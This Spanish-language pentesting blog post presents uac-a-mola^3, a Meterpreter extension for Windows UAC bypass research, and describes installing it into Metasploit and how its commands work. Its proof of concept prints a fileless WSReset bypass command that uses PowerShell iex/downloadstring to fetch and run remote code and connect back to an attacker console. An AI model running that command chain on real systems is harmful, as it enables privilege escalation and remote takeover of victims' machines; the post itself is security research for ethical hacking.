domingo, octubre 20, 2019

UAC-a-mola^3: Evolucionando hacia el Meterpreter #pentest #pentesting

En la pasada RootedCON de Valencia, mi compañero Pablo González volvió a sacar uac-a-mola a pasear, el proyecto que empezó en el 2017 en nuestro equipo de Ideas Locas, y que en está ocasión mostró varias formas de usar la herramienta.

Figura 1: UAC-a-mola^3: Evolucionando hacia el Meterpreter #pentest #pentesting

En este artículo de hoy vengo a hablar de uac-a-mola^3, una versión ‘ligera’ para el Meterpreter de Python, cuyo código ya se encuentra disponible en el repositorio de Eleven Paths en GitHub, dentro de la carpeta uac-a-mola^3. Una herramienta que nosotros utilizamos en todos nuestros proyectos de Ethical Hacking.

Figura 2: Libro de Ethical Hacking de Pablo González

Voy a contar cómo introducir los códigos en nuestra instalación de Metasploit, cómo funciona y finalmente una prueba de concepto. ¡Empecemos!

Cómo agregar el código al proyecto Metasploit

La extensión para el Meterpreter necesita varios ficheros de código, y cada uno se dirige a una carpeta distinta, dentro del GitHub se puede ver, además el código ya está distribuido siguiendo las necesidades, las rutas son las siguientes:
 • El “despachador de comandos” se tiene que situar en la siguiente ruta: 
/opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console/command_dispatcher 
• La extensión del meterpreter en la parte del atacante, se debe situar en la ruta: 
/opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/extensions 
• Y por último el código de la extensión que se va a ejecutar en el objetivo: 
/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/metasploit-payloads-1.3.70/data/meterpreter/
Las rutas están basadas en una instalación de Metasploit V5 en Ubuntu, según futuras actualizaciones, las rutas pueden variar ligeramente. Por ejemplo la carpeta 2.5.0 puede pasar a ser 2.6.0, etcétera.

Cómo funciona uac-a-mola^3

Cuando nosotros recibimos una sesión del Meterpreter, tenemos que cargar el código de la extensión en memoria con el comando:
load uacamola
En ese momento podremos iniciar la extensión con el comando:
start_uacamola
Y ya se nos facilitará un nuevo prompt con el que trabajar. El flujo de los comandos será el siguiente: que describo. El código de la carpeta command_dispatcher recibe el comando a ejecutar por parte del usuario, y se lo pasa a la extensión de Ruby (carpeta extensions) que se encargará de encapsular el paquete y enviarlo a la extensión de Python, ya en la máquina víctima, donde se ejecutará, y cuyo resultado se empaquetará y será devuelto a la extensión de Ruby, de nuevo en la máquina del atacante (salvo los comandos help y exit que no saldrán de la máquina del atacante, al ser locales).

Figura 3: Gráfico a alto nivel de las partes de uac-a-mola^3

Un flujo que es bastante fácil de entender, ya que no va más allá de un cliente/servidor clásico utilizado en muchos de los sistemas de C&C.

Uac-a-mola^3 PoC

Llega la hora de probar la extensión, partimos de tener una sesión de Meterpreter activa, y pasamos a cargar la extensión y usar el comando de ayuda. Recuerda usar el autocompletado para ayudarte.

Figura 4: Carga de uacamola y ayuda

La primera prueba es ejecutar autoelevate_search, que recibirá una ruta, de la cuál devolverá un listado con el nombre de los binarios que tengan el atributo AutoElevate.

Figura 5: Resultado de autoelevate_search

Por último, voy a mostrar una prueba de concepto que va a involucrar también a otra de nuestras herramientas, iBombShell. En esta ocasión, haré uso del bypass UAC de tipo fileless a través del binario WSReset, basta con ejecutar el comando con la instrucción que quieres que corra en el equipo víctima, en este ejemplo:
fileless_wsreset c:\windows\system32\windowspowershell\\v1.0\powershell.exe -C "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console');console -Silently -uriConsole http://IP:PORT"
Y en la consola de iBombShell, aparece un Warrior con altos privilegios (el símbolo * es el indicador).

Figura 6: Obteniendo el "admin" Warrior en iBombShell

La prueba de concepto se puede ver en el siguiente vídeo que hemos grabado, que se entenderá mejor en solo un minuto y algo.

Figura 7: video PoC uac-a-mola^3

Como podéis ver, es una forma de usar uac-a-mola desde un equipo remoto, y facilitar así el hacer distintos bypass de UAC a través de Meterpreter. Eso es todo por hoy, pero os dejo aquí todas las referencias sobre UAC-A-Mola y UAC en Windows que ya hemos escrito bastante sobre este proyecto:

- [GitHub] UAC-a-mola
- [WhitePaper] UAC Bypass & Research with UAC-A-Mola
- [BlogPost] UAC: Control de Cuentas de Usuario en Windows
- [BlogPost] 2017, el año que bypasseamos UAC peligrosamente
- [BlogPost] UAC-A-Mola: Framework para Investigar Bypasses de UAC
- [BlogPost] UAC-A-Mola ya lo infirió
- [BlogPost] Cómo construir un modulo para UAC-A-Mola Framework
- [BlogPost] Windows 10: ByPass de UAC en con WSREST en UAC-A-Mola
- [BlogPost] UAC-A-Mola^2 Evolution
- [BlogPost] BlackHat Arsenal Tools for Research: UAC-A-Mola
- [Libro] Máxima Seguridad en Windows
- [Libro] Pentesting con PowerShell

Autor: Josué Encinar García (@JosueEncinar), autor del blog BoomerNiX y Security Researcher en ElevenPaths y en el equipo de Ideas Locas de la unidad CDO de Telefónica.

No hay comentarios:

Publicar un comentario